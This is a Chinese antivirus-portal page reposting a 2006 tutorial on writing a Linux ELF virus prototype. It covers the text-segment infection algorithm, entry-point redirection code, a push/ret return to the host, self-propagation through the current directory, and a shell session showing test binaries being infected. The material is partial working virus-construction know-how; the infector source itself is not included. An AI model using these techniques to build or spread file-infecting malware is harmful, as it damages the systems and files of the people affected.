主 页  下载中心 文章中心 在线杀毒 软件论坛
国内杀毒软件     瑞星杀毒 金山毒霸 江民杀毒 光华反病毒 更多... 木马专杀   木马杀客 木马克星 木马清道夫 AVG(原Ewido)Anti-Spyware 更多...
国外杀毒软件     卡巴斯基   诺顿   趋势 安博士 熊猫卫士  小红伞 驱逐舰 麦咖啡McAfee   NOD32   F-Secure   Dr.Web   Avast   更多...
升级补丁   瑞星升级 金山毒霸升级 江民升级 光华升级 卡巴斯基升级 诺顿升级 趋势升级 安博士升级 NOD32升级 Dr.Web升级 Avast升级
流氓软件清理     360安全卫士 瑞星卡卡   金山毒霸系统清理专家 Wopti流氓软件清除大师   恶意软件清理助手   超级兔子网络卫士 更多...
防火墙     天网 费尔 冰盾 更多... 病毒专题     熊猫烧香病毒专题 电眼间谍病毒专题 AV终结者病毒专题 灰鸽子清理     更多...
系统漏洞补丁     windowXP系统漏洞补丁 window2000系统漏洞补丁 window2003系统漏洞补丁 windowVISTA系统漏洞补丁 更多...
 您当前的位置:爱客者 -> 文章中心 -> 安全技术 -> 杀毒技术 -> 文章内容
剖析linux病毒原型的工作过程和关键环节
来源:网络 时间:2006-2-15
 

    一、 介绍

    写这篇文章的目的主要是对最近写的一个linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对elf有所了解、能够阅读一些嵌入了汇编的c代码、了解病毒的基本工作原理。

    二、 elf infector (elf文件感染器)

    为了制作病毒文件,我们需要一个elf文件感染器,用于制造第一个带毒文件。对于elf文件感染技术,在silvio cesare的《unix elf parasites and virus》
一文中已经有了一个非常好的分析、描述,在这方面我还没有发现可以对其进行补充的地方,因此在这里我把silvio cesare对elf infection过程的总结贴出来,以供参考:

the final algorithm is using this information is.
* increase p_shoff by page_size in the elf header
* patch the insertion code (parasite) to jump to the entry point
(original)
* locate the text segment program header
* modify the entry point of the elf header to point to the new
code (p_vaddr + p_filesz)
* increase p_filesz by account for the new code (parasite)
* increase p_memsz to account for the new code (parasite)
* for each phdr who"s segment is after the insertion (text segment)
* increase p_offset by page_size
* for the last shdr in the text segment
* increase sh_len by the parasite length
* for each shdr who"s section resides after the insertion
* increase sh_offset by page_size
* physically insert the new code (parasite) and pad to page_size, into
the file - text segment p_offset + p_filesz (original)

    在linux病毒原型中所使用的gei - elf infector即是根据这个原理写的。在
附录中你可以看到这个感染工具的源代码: g-elf-infector.c

g-elf-infector与病毒是独立开的,其只在制作第一个病毒文件时被使用。我简单介
绍一下它的使用方法,g-elf-infector.c可以被用于任何希望--将二进制代码插入到指定文件的文本段,并在目标文件执行时首先被执行--的用途上。g-elf-infector.c的接口很简单,你只需要提供以下三个定义:

* 存放你的二进制代码返回地址的地址,这里需要的是这个地址与代码起始
地址的偏移,用于返回到目标程序的正常入口
#define paracode_retaddr_addr_offset 1232

* 要插入的二进制代码(由于用c编写,所以这里需要以一个函数的方式提供)
void parasite_code(void);

* 二进制代码的结束(为了易用,这里用一个结尾函数来进行代码长度计算)
void parasite_code_end(void);

parasite_code_end应该是parasite_code函数后的第一个函数定义,通常应该如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}

    在这里存在一个问题,就是编译有可能在编译时将parasite_code_end放在parasite_code
地址的前面,这样会导致计算代码长度时失败,为了避免这个问题,你可以这样做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code();}

    有了这三个定义,g-elf-infector就能正确编译,编译后即可用来elf文件感染

    三、病毒原型的工作过程

    1 首先通过elf infector将病毒代码感染到一个elf文件,这样就创造了第一
个带毒文件,后续的传播就由它来完成。

    2 当带毒文件被执行时,会首先跳到病毒代码开始执行。

    3 病毒代码开始发作,在这个原型里,病毒会直接开始传播。

    4 病毒遍历当前目录下的每一个文件,如果是符合条件的elf文件就开始感染。

    5 病毒的感染过程和elf infector的过程类似,但由于工作环境的不同,代码的实现也是有较大区别的。

    6 目前传染对elf文件的基本要求是文本段要有剩余空间能够容纳病毒代码,如果无法满足,病毒会忽略此elf。对于被感染过一次的elf文件,文本段将不会有剩余的空间,因此二次感染是不会发生的。

    7 病毒代码执行过后,会恢复堆栈和所有寄存器(这很重要),然后跳回到真正的可执行文件入口,开始正常的运行过程。

    上面对病毒原型的工作过程的介绍也许显得千篇一律了,和我们早就熟知的关于病毒的一些介绍没有什么区别?是的,的确是这样,原理都是类似的,关键是要看实现。下面我们就将通过对一些技术问题的分析来了解具体的实现思路。

    四、关键技术问题及处理

    1 elf文件执行流程重定向和代码插入

    在elf文件感染的问题上,elf infector与病毒传播时调用的infect_virus思路是一样的:

    * 定位到文本段,将病毒的代码接到文本段的尾部。这个过程的关键是要熟悉elf文件的格式,将病毒代码复制到文本段尾部后,能够根据需要调整文本段长度改变所影响到的后续段(segment)或节(section)的虚拟地址。同时注意把新引入的文本段部分与一个.setion建立关联,防止strip这样的工具将插入的代码去除。还有一点就是要注意文本段增加长度的对齐问题,见elf文档中的描述:
p_align
as ``program loading"" later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.

* 通过过将elf文件头中的入口地址修改为病毒代码地址来完成代码重定向:
/* modify the entry point of the elf */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

    2 病毒代码如何返回到真正的elf文件入口

    方法技巧应该很多,这里采用的方法是push+ret组合:
__asm__ volatile (
...
"return:\n\t"
"push $0xaabbccdd\n\t" /* push ret_addr */
"ret\n"
::); 
    其中0xaabbccdd处存放的是真正的程序入口地址,这个值在插入病毒代码时由感染程序来填写。

五、 新编译环境下的调试方法

grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c makefile parasite-sample.c parasite-sample.h

调整makefile文件,将编译模式改为调试模式,即关掉-dndebug选项
grip2@linux:~/tmp/virus> cat makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -o2 $< gvirus.o -o gei -wall #-dndebug
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
clean:
rm *.o -rf
rm foo -rf
rm gei -rf

编译代码
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
gcc -o2 g-elf-infector.c gvirus.o -o gei -wall #-dndebug

先获取病毒代码长度,然后调整gvirus.c中的#define paracode_length定义
grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
parasite code length: 1744

获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd


8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :

0x8049427与0x8048d80相减即获得我们需要的偏移,
用这个值更新gvirus.h中的#define paracode_retaddr_addr_offset宏的值

重新编译
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -o2 -c -o gvirus.o -fomit-frame-pointer -wall #-dndebug
gcc -o2 g-elf-infector.c gvirus.o -o gei -wall #-dndebug

grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo makefile parasite-sample.h

建立一个测试目录,测试一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h

制作带毒程序
grip2@linux:~/tmp/virus/test>. /gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

运行带毒程序
grip2@linux:~/tmp/virus/test>. /h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

测试上面带毒程序运行后,是否感染了其他elf程序
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
better luck next file
foo
h
better luck next file
.backup.h
better luck next file
real elf point

ok,成功
grip2@linux:~/tmp/virus/test> cp. ./foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
better luck next file
foo
h
better luck next file
.backup.h
better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>

    六、总结

    由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。


    七、参考文献

    1 silvio cesare 的《unix elf parasites and virus》

    2 elf文档

    3 更多的安全技术交流
http://www.linuxforum.net/forum/showflat.php?cat=&board=security&
number=479955&page=0&view=collapsed&sb=5&o=31&fpart=

相关新闻
学习从系统中删除病毒2007/6/28
吃透木马运行原理把它扼杀2007/6/28
McAfee杀毒软件高级设置技巧五招2007/6/28
隐藏文件看不到?中毒了!2007/6/25
360安全卫士推出集三重防护理念2007/6/25
 
    其它相关新闻
·学习从系统中删除病毒
·吃透木马运行原理把它扼杀
·McAfee杀毒软件高级设置技巧五招
·隐藏文件看不到?中毒了!
·360安全卫士推出集三重防护理念
·使用杀毒软件应该注意什么
·CA发布声明:我的杀毒软件漏洞很大
    最新新闻
·磁碟机病毒的十大罪行
·病毒预警:光华反病毒资讯(7月16日-7月22日)
·病毒预警:光华反病毒资讯(7月9日-7月15日)
·用Regsvr32命令解决系统疑难杂症
·Windows的DLL文件原理与修改方法
·如何隐藏硬盘分区
·攻防全面分析 常用九种攻击方法
·卡巴再次误报 将注册表判为木马
·英特尔酷睿2存在安全缺陷
    相关软件下载
·AVG(原Ewido)Anti-Spyware最新完整病毒库更新(2008.06.02)-Anti-Spyware升级包
·AVG(原Ewido)Anti-Spyware每日增量病毒库更新(2008.06.02)-Anti-Spyware升级包
·Kaspersky Anti-Virus7.0.0.125增量包(2008.05.31)-卡巴斯基升级包
·Kaspersky Internet Security7.0.0.125完整升级包(2008.06.01)-卡巴斯基升级包
·熊猫卫士06月01号最新病毒升级包通用版-熊猫卫士升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.0 VPS更新-Avast升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.x VPS更新-Avast升级包
·小红伞AntiVir最新病毒库(2008.06.01) for WindowsNT/2000/XP-小红伞升级包
·McAfee VirusScan DAT 5306病毒库-麦咖啡升级包
·更多相关杀毒软件
  [本站导航]  
瑞星  瑞星杀毒软件瑞星升级包 瑞星杀毒瑞星2007 瑞星在线杀毒瑞星杀毒软件下载瑞星升级
卡巴斯基  卡巴斯基下载卡巴斯基6.0卡巴斯基杀毒软件卡巴斯基7.0卡巴斯基病毒库卡巴斯基升级包
江民  江民杀毒软件江民杀毒江民2007江民杀毒软件下载江民升级包江民升级江民离线升级包
金山毒霸  金山毒霸2007下载金山毒霸下载金山毒霸2007升级包金山毒霸升级金山毒霸杀毒软件
诺顿  诺顿杀毒软件诺顿杀毒诺顿病毒库诺顿企业版诺顿升级包诺顿升级诺顿下载
小红伞AntiVir  德国小红伞小红伞下载小红伞中文小红伞杀毒软件小红伞汉化Avira AntiVir
麦咖啡McAfee  麦咖啡杀毒软件麦咖啡升级包麦咖啡8.0麦咖啡企业版麦咖啡8.5mcafee virusscan
NOD32  nod32升级nod32升级服务器nod32下载nod32 2.7nod32升级idnod32更新nod32升级包
F-Secure  F-secure杀毒软件f-secure anti-virusF-secure汉化版F-secure注册机F-secure2007
Dr.Web  dr.web keydr.web cureitdr.web注册码dr.web汉化dr.web病毒库大蜘蛛大蜘蛛杀毒软件
Avast  avast注册码 序列号avast antivirusavast杀毒软件avast中文版avast 升级avast升级包
木马专杀  木马杀客木马克星AVG Ewido Anti-SpywareAVG Ewido Anti-Spyware升级包 更新
防火墙  瑞星防火墙天网防火墙arp防火墙瑞星个人防火墙江民防火墙防火墙下载风云防火墙
流氓软件清理  瑞星卡卡360安全卫士Wopti流氓软件清除大师奇虎360安全卫士360安全卫士绿色版
推荐软件  Firefox火狐浏览器浏览器Picasa照片处理软件非主流图片制作软件非主流照片制作
关于本站 - 广告合作 - 联系我们 - 下载声明 - 网站地图 - RSS2.0 - 合作伙伴:爱客宝
Copyright©1998 - 2007 爱客者 All Rights Reserved

粤ICP备07006801号